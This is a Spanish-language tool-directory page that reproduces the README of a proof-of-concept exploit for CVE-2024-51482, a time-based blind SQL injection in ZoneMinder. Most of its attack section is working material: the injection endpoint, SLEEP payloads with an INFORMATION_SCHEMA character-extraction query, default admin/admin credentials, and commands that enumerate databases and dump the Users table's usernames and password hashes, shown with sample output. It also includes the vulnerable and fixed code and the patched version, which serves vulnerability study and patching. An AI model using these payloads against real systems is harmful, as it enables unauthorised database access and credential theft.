Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-51482 — ZenoMinder PoC de Inyección SQL Ciega | Kitploit
Herramientas/GitHubGitHub/bridgeralderson/cve-2024-51482
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de Datos
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder PoC de Inyección SQL Ciega

Ver Repositorio
860hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-51482 - Inyección SQL Ciega en ZoneMinder

Tabla de Contenidos

  • Resumen
  • Detalles de la Vulnerabilidad
  • Análisis Técnico
  • Guía de Explotación
  • Instalación
  • Ejemplos de Uso
  • Mitigación
  • Referencias

Resumen

CVE-2024-51482 es una vulnerabilidad crítica de inyección SQL de tipo booleano ciego descubierta en ZoneMinder, un popular software de videovigilancia CCTV de código abierto. Esta falla afecta las versiones 1.37.* hasta 1.37.64 y permite a atacantes autenticados con bajos privilegios ejecutar comandos SQL arbitrarios en el servidor de base de datos subyacente.

MétricaValor
ID CVECVE-2024-51482
Puntuación CVSS9.9 (Crítico)
Vector de AtaqueRed
Privilegios RequeridosBajo
Interacción del UsuarioNinguna
AlcanceCambiado
ImpactoConfidencialidad, Integridad, Disponibilidad - ALTO
Versión Parcheada1.37.65

Detalles de la Vulnerabilidad

Versiones Afectadas

  • Vulnerables: ZoneMinder v1.37.0 hasta v1.37.64.
  • Parcheadas: ZoneMinder v1.37.65 y posteriores.

Causa Raíz

La vulnerabilidad existe en el archivo web/ajax/event.php dentro de la función removetag. El parámetro tid (ID de Etiqueta) se concatena directamente en una consulta SQL sin la debida sanitización o parametrización.

Código Vulnerable:

case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE! 
    $rowCount = dbNumRows($sql); 
    // ...

Código Corregido:

$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Consulta parametrizada

Vector de Ataque

El endpoint vulnerable se puede desencadenar mediante:

http://objetivo/zm/index.php?view=request&request=event&action=removetag&tid=[PUNTO_DE_INYECCIÓN]

Análisis Técnico

¿Por qué Inyección Ciega Basada en Booleano?

El punto de inyección no devuelve resultados de consulta directamente en la respuesta, lo que hace imposibles los ataques tradicionales basados en UNION. En su lugar, debemos inferir información mediante condiciones booleanas o retardos temporales.

  • Enfoque basado en booleano:
    • Condición verdadera → Tiempo de respuesta normal.
    • Condición falsa → Tiempo de respuesta normal.
    • Requiere diferencias observables en el comportamiento de la aplicación.
  • Enfoque basado en tiempo (más fiable):
    • Condición verdadera → Respuesta retardada (SLEEP).
    • Condición falsa → Tiempo de respuesta normal.

Mecanismo de Explotación

Nuestro exploit utiliza extracción basada en tiempo con la función SLEEP():

1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

Cuando esta condición se evalúa como verdadera, la base de datos duerme durante 2 segundos, creando un retardo medible en la respuesta HTTP.

Proceso de Extracción de Caracteres

  • Búsqueda Binaria: Para cada posición de carácter, probamos rangos usando ASCII(SUBSTRING()) > MID.
  • Medición de Tiempo: Si la condición es verdadera, se dispara SLEEP.
  • Reconstrucción del Carácter: Construimos la cadena carácter por carácter.

Ejemplo de payload para extraer el carácter en la posición 1:

1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

Guía de Explotación

Prerrequisitos

  • Objetivo ejecutando ZoneMinder 1.37.0 - 1.37.64.
  • Credenciales válidas (por defecto: admin/admin).
  • Acceso de red a la interfaz web de ZoneMinder.

Instalación

# Clonar el repositorio
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# Hacer el script ejecutable
chmod +x CVE-2024-51482.py

# Instalar dependencias requeridas
pip3 install requests

Uso Básico

# Probar si el objetivo es vulnerable
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --test

# Descubrir todas las bases de datos
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --discover

# Listar tablas en una base de datos específica
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --tables zm

# Listar columnas en una tabla específica
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --columns zm Users

# Volcar datos de columnas específicas
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --dump zm Users "Username,Password"

# Volcar tabla de usuarios (por defecto)
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users

# Habilitar salida de depuración para proceso de extracción detallado
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users --debug

# Ajustar tiempo de espera para extracción más fiable
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users --sleep 3

# Deshabilitar salida coloreada
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users --no-color

Ejemplos de Uso

Ejemplo 1: Prueba de Vulnerabilidad

$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - Exploit de Inyección SQL Ciega en ZoneMinder
[*] Objetivo: 192.168.1.100
[*] Iniciando sesión como 'admin' en 192.168.1.100...
[+] Inicio de sesión exitoso
[*] Midiendo tiempo de respuesta base...
[*] Mediana base: 0.058s
[*] Probando vulnerabilidad con sleep de 2s...
[+] ¡El objetivo es vulnerable!

Ejemplo 2: Enumeración de Bases de Datos

$ python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --discover
[*] CVE-2024-51482 - Exploit de Inyección SQL Ciega en ZoneMinder
[*] Objetivo: <host-objetivo>
[*] Iniciando sesión como 'admin' en <host-objetivo>...
[+] Inicio de sesión exitoso
[*] Midiendo tiempo de respuesta base...
[*] Mediana base: 0.065s
[*] Probando vulnerabilidad con sleep de 2s...
[+] ¡El objetivo es vulnerable!
[*] Enumerando bases de datos...
[+] Base de datos encontrada: information_schema
[+] Base de datos encontrada: performance_schema
[+] Base de datos encontrada: zm
[+] Bases de datos encontradas: 
1. information_schema 
2. performance_schema 
3. zm

Ejemplo 3: Volcado de Credenciales de Usuario

$ python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users
[*] CVE-2024-51482 - Exploit de Inyección SQL Ciega en ZoneMinder
[*] Objetivo: <host-objetivo>
[*] Iniciando sesión como 'admin' en <host-objetivo>...
[+] Inicio de sesión exitoso
[*] Midiendo tiempo de respuesta base...
[*] Mediana base: 0.062s
[*] Probando vulnerabilidad con sleep de 2s...
[+] ¡El objetivo es vulnerable!
[*] Volcando tabla Users de la base de datos zm...
[*] Enumerando columnas en 'zm.Users'...
[+] Columna encontrada: Id
[+] Columna encontrada: Username
[+] Columna encontrada: Password
[+] Columna encontrada: Language
[+] Columna encontrada: Enabled
[*] Volcando datos de 'zm.Users'...
[+] Fila 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Fila 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Usuarios extraídos: 2 
Usuario: admin 
Pass: $2y$10$...hashed... 
Email: admin@localhost 
Habilitado: 1 
Usuario: operator 
Pass: $2y$10$...hashed... 
Email: operator@localhost 
Habilitado: 1

Ejemplo 4: Extracción de Datos Personalizada

# Volcar columnas específicas de la tabla Events
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

Cómo Funciona el Exploit

Descargar herramienta